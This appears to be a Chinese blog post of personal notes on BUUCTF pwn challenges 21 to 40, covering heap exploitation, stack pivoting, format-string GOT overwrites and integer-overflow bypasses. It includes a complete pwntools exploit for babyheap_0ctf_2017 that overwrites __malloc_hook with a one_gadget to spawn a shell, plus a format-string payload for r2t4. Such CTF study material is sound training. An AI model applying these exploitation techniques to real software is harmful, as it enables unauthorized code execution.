BUUCTF PWN 21-40

 

目录

工会比赛那道题

21、babyheap_0ctf_2017

22、ciscn_2019_ne_5

23、铁人三项(第五赛区)_2018_rop

24、ciscn_2019_s_3

25、bjdctf_2020_babyrop

26、pwn2_sctf_2016

27、others_shellcode

28、[HarekazeCTF2019]baby_rop2

29、ez_pz_hackover_2016

30、ciscn_2019_es_2

31、[Black Watch 入群题]PWN

32、jarvisoj_level3

33、[BJDCTF 2nd]r2t4

34、[BJDCTF 2nd]test

35、jarvisoj_fm

36、jarvisoj_tell_me_something

37、[BJDCTF 2nd]ydsneedgirlfriend2

38、jarvisoj_level4

39、[V&N2020 公开赛]simpleHeap

40、bjdctf_2020_babystack2


 

LInux,我的ubuntu1604 libcsearch莫名其妙的坏了 用1804做可以

 

 

工会比赛那道题

我记得很清楚,考试前我pwn刚学到level3_x64这道题还没研究明白,只在虚拟机里存了WP,考试的时候遇到这道类似题,我就没会做,200分*0.8=160分

题目给了libc2.23文件,那么就是ubuntu16,不需要栈对齐,elf.symbols["main"]报错不知为何

泄露puts函数地址,然后走遍流程

.

 

 

 

21、babyheap_0ctf_2017

参考了别人WP https://archive.next.arttnba3.cn/2020/09/08/%E3%80%90CTF%E9%A2%98%E8%A7%A3-0x04%E3%80%91BUUOJ-Pwn-write-up-by-arttnb3/

unsortedbin指向main_arena后想办法拿到fdbk所属堆块,得到libc地址,在构造fakechunk指向mallochook附近 构造7f大小fakechunk,得到后修改成one_gadget地址,在add(alloc)就可以了,挺费劲的感觉

漏洞点在fill函数,size没有限制,可以堆溢出

from pwn import *
p=remote('node3.buuoj.cn',25883)
libc=ELF('libc-2.23.so')
def alloc(size):
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size))   
def fill(index,content):
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvuntil('Size: ')
    p.sendline(str(len(content)))
    p.recvuntil('Content: ')
    p.send(content)   
def free(index):
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(index))  
def dump(index):
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvuntil('Content: \n')
alloc(0x10) 
alloc(0x10) 
alloc(0x10) 
alloc(0x10) 
alloc(0x80) 
free(1) 
free(2)
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0,payload)
payload=p64(0)*3+p64(0x21)
fill(3,payload)
alloc(0x10) 
alloc(0x10) 
payload = p64(0)*3 + p64(0x91)
fill(3,payload)
alloc(0x80) 
free(4) 
dump(2)
main_arena=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x58
malloc_hook=main_arena - 0x10
libc_base=malloc_hook - libc.sym['__malloc_hook']
one_gadget=libc_base + 0x4526a
alloc(0x60) 
free(4) 
payload = p64(malloc_hook-0x23)
fill(2,payload) 
alloc(0x60) 
alloc(0x60) 
payload=b'a'*0x13+p64(one_gadget)
fill(6,payload)
alloc(0x10)
p.interactive()

22、ciscn_2019_ne_5

看了别人的WP,交互比较多的情况下,lambda 是个好东西,像函数,写起来比函数简单

这道题没有binsh,有sh,因为有flush函数,学到了

 

 

 

 

23、铁人三项(第五赛区)_2018_rop

找到的libc选择1,其余失败

先泄露write地址,再返回main,利用write地址计算system和binsh地址 ,

 

 

 

24、ciscn_2019_s_3

理解的不是很好,在r12赋值那里

25、bjdctf_2020_babyrop

 

本地通了 ,远程没通 ,本地libc后有选项2.23,远程4个选项都是2.24  啥原因?因为我的libcsearch坏了,后来干脆提示无libc,只能先换个虚拟机做

libc选择4    2.23那个

 

 

26、pwn2_sctf_2016

整形溢出 -1绕过,get_n函数第二参数为无符号,之后常规libc

 

 

27、others_shellcode

 

 

 

28、[HarekazeCTF2019]baby_rop2

buf[v3 - 1] = 0; 这句话对payload没影响?

io.recvuntil('\x7f')[-6:] 地址7f开头 小端存储,

 

 

 

29、ez_pz_hackover_2016

30、ciscn_2019_es_2

考察栈迁移,还有io得注意那个send,诶,大意了 看半天没看出来,关于io的接收还是有很多要注意

可以看出buf大小0x28=40,可以溢出8字节

leave= 1、move esp,ebp  2、pop ebp     

ret=pop eip

由于可溢出空间太小,只好用leave指令把栈转移到buf的开头。运行程序测试,可以看出ebp中保存的地址距离ebp本身的地址是0x10,那么ebp里的地址距离buf就是0x38,可以用print打印出ebp中保存地址,buf地址就能知道了,即buf_addr=u32(io.recv(4))-0x38

还不能用aaaa获取,结尾还得用不同字符,需要注意

vul函数执行完毕(leave+retn)后ebp就指向了buf起始地址,然后去执行vul函数返回地址leave+retn,关键点来了:再次执行leave后esp先指向了buf起始地址,pop ebp后ebp 指向了0x61616161(也不知道能不能报错不管他),esp指向了system,retn:pop eip执行system后面就正常了,完成精心构造

31、[Black Watch 入群题]PWN

溢出空间不够的情况下,考虑栈迁移,不过为啥这道题必须得是io.send  ?sendline说啥就是过不去?  io这里真的有够烦  也不知道什么时候该有换行什么时候没有

 

32、jarvisoj_level3

 

33、[BJDCTF 2nd]r2t4格式化字符串

把stackcheck改成后门函数地址,

可以看到buf偏移为6,对齐了,将checkgot地址改成后门0x400626,0x0626=1574   1574-0x40=1510,一次写两字节,反向存储,将40写在checkgot+2,0626写在checkgot(不知道理解的对不),反过来顺序写应该是不行,先写小数再写大数(%n特点决定的)

%64c%9$hn%1510c%10$hnaaa ,字符串长度21再来3个a凑齐3字节24,即偏移678,接下来就是偏移9checkgot+2和10checkgot ,这里一共写了0x28字节长度实际不用填充满0x38也是可以的

 

 

 

 

34、[BJDCTF 2nd]test

考察linux命令  全程看WP,查看过滤后剩余可用命令,x86_64比较可疑

ls /usr/bin |grep -v -E " ||||||"

35、jarvisoj_fm

同[第五空间2019 决赛]PWN5

 

36、jarvisoj_tell_me_something

这个溢出main函数 好像没有ebp?下次遇到main溢出再看看栈的信息把

 

 

37、[BJDCTF 2nd]ydsneedgirlfriend2

虽然是ubuntu18 有tcache但并没影响,uaf + add时没用指针数组,指针始终为girl0,第二次add的时候不会申请结构体chunk,直接申请内容chunk,先申请再删除在申请0x10就能把第一次的结构体chunk拿到,在编辑修改后门

 

 

38、jarvisoj_level4

同level3那道题,没啥说的


39、[V&N2020 公开赛]simpleHeap

 

40、bjdctf_2020_babystack2

-1绕过 没啥说的

 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值